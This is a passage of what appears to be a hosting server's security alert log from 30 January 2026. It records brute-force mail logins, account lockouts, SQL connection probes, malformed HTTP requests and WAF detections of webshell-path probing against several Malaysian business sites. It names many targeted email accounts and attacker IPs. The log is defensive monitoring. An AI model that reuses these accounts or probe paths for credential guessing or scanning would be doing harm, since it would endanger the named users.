country_id: 3469034
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/ HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.217
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/slick/slick-theme.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.202
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/css/fontstyle/Dosis/static/Dosis-SemiBold.ttf HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.148
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/css/fontstyle/Dosis/static/Dosis-ExtraLight.ttf HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.176.244
country_id: 1814991
description:
2026-01-30 14:22:06 dovecot_login authenticator failed for H=([111.61.176.244]) [111.61.176.244]:56238: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.55.89.5
country_id: 1269750
description:
2026-01-30 14:22:26 dovecot_login authenticator failed for H=([103.55.89.5]) [103.55.89.5]:60326: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.133
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/css/fontstyle/Museo/Museo-300.otf HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.249
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/css/style.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 47.246.171.175
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/eminent.st/assets/fontawesome/all.css HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:22:39 dovecot_login authenticator failed for H=(1LNcQOO6q) [178.16.54.138]:64320: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:22:24 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:23:07 dovecot_login authenticator failed for H=(1guvyuv) [178.16.54.22]:61899: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:23:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:23:12 dovecot_login authenticator failed for H=(1ZkLsMK) [185.230.124.69]:57277: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:23:49 dovecot_login authenticator failed for H=(cyQoiPIuIa) [178.16.54.138]:62698: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.183
country_id: 2750405
description:
2026-01-30 14:24:08 972178 [Warning] Aborted connection 972178 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.183' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:24:15 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.61.240.100
country_id: 2186224
description:
2026-01-30 14:24:53 dovecot_login authenticator failed for H=(ADMIN) [179.61.240.100]:13616: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:24:05 dovecot_login authenticator failed for H=(rT94ming) [178.16.54.22]:64389: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:24:17 dovecot_login authenticator failed for H=(7kvdAa) [185.230.124.69]:54719: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:24:57 dovecot_login authenticator failed for H=(9MzIqS) [178.16.54.138]:60329: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.184.36.53
country_id: 1814991
description:
2026-01-30 14:25:56 dovecot_login authenticator failed for H=([61.184.36.58]) [61.184.36.53]:59987: 535 Incorrect authentication data (set_id=support@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:25:18 dovecot_login authenticator failed for H=(e8IDdpmfp) [178.16.54.22]:59151: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.164
country_id: 2750405
description:
2026-01-30 14:25:20 972211 [Warning] Aborted connection 972211 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.164' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.132.97.76
country_id: 2264397
description:
2026-01-30 14:25:42 dovecot_login authenticator failed for H=a94-132-97-76.cpe.netcabo.pt [94.132.97.76]:55026: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:25:00 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:25:02 dovecot_login authenticator failed for H=(HZYVDNoii) [185.230.124.69]:54855: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 14:25:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47878: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:25:50 dovecot_login authenticator failed for H=(HvutYeQ) [185.230.124.69]:58861: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 205.210.31.192
country_id: 6252001
description:
2026-01-30 14:25:01 972200 [Warning] Aborted connection 972200 to db: 'unconnected' user: 'unauthenticated' host: '205.210.31.192' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:26:04 dovecot_login authenticator failed for H=(1s2kOPyV) [185.230.124.69]:64699: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-30 14:26:12 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:46453: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:26:27 dovecot_login authenticator failed for H=(bBOdnH3Vcr) [178.16.54.22]:63035: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:26:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:27:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:27:56 dovecot_login authenticator failed for H=(GQhy3ITCVh) [178.16.54.138]:57865: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 14:27:01 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:15667: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.1.211.30
country_id: 1814991
description:
2026-01-30 14:27:13 dovecot_login authenticator failed for H=([180.173.123.76]) [218.1.211.30]:38180: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 14:27:25 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (grabutva) [87.103.126.54]:22008: 535 Incorrect authentication data (set_id=info@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:27:02 dovecot_login authenticator failed for H=(zqK5rWBb8) [178.16.54.22]:62290: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 110.234.22.83
country_id: 1880251
description:
[2026-01-30 14:27:03 +0800] info [cpaneld] 110.234.22.83 - dscexpat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:27:07 dovecot_login authenticator failed for H=(3Kg2Z3tS) [185.230.124.69]:64759: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:28:02 dovecot_login authenticator failed for H=(Pm0uuq) [178.16.54.22]:59272: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.183
country_id: 2750405
description:
2026-01-30 14:28:02 972282 [Warning] Aborted connection 972282 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.183' (This connection closed normally without authentication)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.164
country_id: 2750405
description:
2026-01-30 14:28:04 972285 [Warning] Aborted connection 972285 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.164' (This connection closed normally without authentication)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:28:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zain@pspoly.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.186.68.153
country_id: 1814991
description:
2026-01-30 14:28:29 dovecot_login authenticator failed for H=([222.186.68.153]) [222.186.68.153]:58914: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.207.243
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=603392 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:28:15 dovecot_login authenticator failed for H=(BVPzV49) [185.230.124.69]:57140: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.233.123.198
country_id: 1269750
domain: indfinitydesign.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:14795.indfinitydesign.com||ServerName:indfinitydesign.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e9407645b0c4e5395bd3ad6280fbf9bbba97b2dd||Title:0x07714c6f||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:29:02 dovecot_login authenticator failed for H=(5ifHSxi7h) [185.230.124.69]:52419: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:29:04 dovecot_login authenticator failed for H=(8FYIfg) [178.16.54.138]:50541: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:29:09 dovecot_login authenticator failed for H=(lnOaR3OBp) [178.16.54.22]:51352: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:29:25 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zain@pspoly.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 14:29:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:53990: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.81.145.52
country_id: 1814991
description:
2026-01-30 14:29:04 dovecot_login authenticator failed for H=([117.81.145.52]) [117.81.145.52]:57118: 535 Incorrect authentication data (set_id=info)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.234.201.100
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=836901 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:30:08 dovecot_login authenticator failed for H=(u1uPqs) [178.16.54.138]:51037: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 14:30:20 H=(localhost.localdomain) [45.150.192.143]:49280 F=<info@kapkenya.org> temporarily rejected RCPT <jacklim@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 14:30:35 +0800] info [webmaild] 203.106.96.63 - infocal@sutsb.com.my "POST /cpsess6443906184/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:30:08 dovecot_login authenticator failed for H=(NnqWxsjVg) [185.230.124.69]:58748: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:30:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zain@pspoly.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:30:14 dovecot_login authenticator failed for H=(yQL4J7lG) [178.16.54.22]:56779: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:30:39 dovecot_login authenticator failed for H=(Wdsx77C) [185.230.124.69]:53698: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 157.100.121.100
country_id: 3658394
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/thumb.php?src=img/photos/1900553621.jpg&size=1000x1000 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:31:32 dovecot_login authenticator failed for H=(v89TIsEg) [178.16.54.138]:65038: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.164
country_id: 2750405
description:
2026-01-30 14:31:45 972481 [Warning] Aborted connection 972481 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.164' (This connection closed normally without authentication)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 14:31:48 +0800] info [webmaild] 203.106.96.63 - infocal@sutsb.com.my "POST /cpsess6443906184/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:31:05 dovecot_login authenticator failed for H=(M5U5W5p) [178.16.54.22]:58120: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:31:11 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.255.50.88
country_id: 2017370
description:
2026-01-30 14:31:59 dovecot_login authenticator failed for H=88-50-255-130.kamensktel.ru [130.255.50.88]:58398: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:31:02 dovecot_login authenticator failed for H=(KONqUh) [185.230.124.69]:54434: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:32:12 dovecot_login authenticator failed for H=(1vE2Mo) [185.230.124.69]:49858: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.169.10.171
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=21971515379609 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.187.226.232
country_id: 3996063
domain: langkawiconstructions.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/langkawiconstructions.com/author/charlespicoohm-com HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-30 14:32:48 +0800] info [webmaild] 203.106.96.63 - infocal@sutsb.com.my "POST /cpsess6443906184/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.146.93.14
country_id: 1668284
description:
2026-01-30 14:32:07 dovecot_login authenticator failed for H=(122-146-93-14.adsl.static.sparqnet.net) [122.146.93.14]:34314: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:32:18 dovecot_login authenticator failed for H=(wcstLki6Ga) [178.16.54.22]:62239: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:32:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zain@pspoly.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:33:25 dovecot_login authenticator failed for H=(ur1a2xleY) [178.16.54.22]:60242: 535 Incorrect authentication data (set_id=yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.158.138.179
country_id: 1269750
description:
2026-01-30 14:33:57 dovecot_login authenticator failed for H=([103.158.138.179]) [103.158.138.179]:47674: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.48.112.8
country_id: 1835841
description:
2026-01-30 14:33:02 dovecot_login authenticator failed for H=([14.48.112.8]) [14.48.112.8]:2525: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:33:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:33:09 dovecot_login authenticator failed for H=(yVjGwJHV) [185.230.124.69]:52125: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.246.31.172
country_id: 1814991
description:
2026-01-30 14:33:20 dovecot_login authenticator failed for H=([116.246.31.172]) [116.246.31.172]:39424: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-01-30 14:33:02 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:60822: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:33:20 dovecot_login authenticator failed for H=(GFUFhy3) [185.230.124.69]:63824: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.255.50
country_id: 1269750
description:
2026-01-30 14:33:20 dovecot_login authenticator failed for H=([122.186.255.50]) [122.186.255.50]:58848: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:34:04 dovecot_login authenticator failed for H=(4PF74oo) [178.16.54.22]:60938: 535 Incorrect authentication data (set_id=corporate_chaah)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:34:21 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.145.126
country_id: 1819730
description:
2026-01-30 14:34:38 dovecot_login authenticator failed for H=(223-197-145-126.static.imsbiz.com) [223.197.145.126]:59585: 535 Incorrect authentication data (set_id=info@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/blog.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:34:08 dovecot_login authenticator failed for H=(2XpcqQ3X) [185.230.124.69]:49223: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.56
country_id: 2542007
description:
2026-01-30 14:34:46 dovecot_login authenticator failed for H=([102.53.15.56]) [102.53.15.56]:53764: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:35:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yap.cheehim@manforce.net has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:35:10 dovecot_login authenticator failed for H=(kZmBNUwH) [185.230.124.69]:63884: 535 Incorrect authentication data (set_id=yap.cheehim@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:35:16 dovecot_login authenticator failed for H=(CbJGRsDWK) [178.16.54.22]:59486: 535 Incorrect authentication data (set_id=teng)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 131.226.115.56
country_id: 1694008
domain: inter-link.edu.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:59901.inter-link.edu.my||ServerName:inter-link.edu.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7518c47775fc16ba2ac03d1eca415120c112ff77||Title:0xb6950822||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/images/index.php||SC:/home/indfinitydesign/public_html/images/index.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.230.124.69
country_id: 2510769
description:
Jan 30 14:36:58 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account zain@pspoly.com.my has been locked for the attacker IP 185.230.124.69


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.230.124.69
country_id: 2510769
description:
2026-01-30 14:36:10 dovecot_login authenticator failed for H=(4TUDCN) [185.230.124.69]:63982: 535 Incorrect authentication data (set_id=zain@pspoly.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-30 14:36:28 dovecot_login authenticator failed for H=(F2XFyp) [178.16.54.22]:55180: 535 Incorrect authentication data (set_id=teng)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-30 14:36:41 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:53122: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.107.36.18
country_id: 1269750
description:
2026-01-30 14:36:54 dovecot_login authenticator failed for H=([103.107.36.18]) [103.107.36.18]:59448: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-30 14:36:56 dovecot_login authenticator failed for H=(MbLP2gOq) [178.16.54.138]:63023: 535 Incorrect authentication data (set_id=mrswong@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.230.124.69
country_id: 2510769
description:
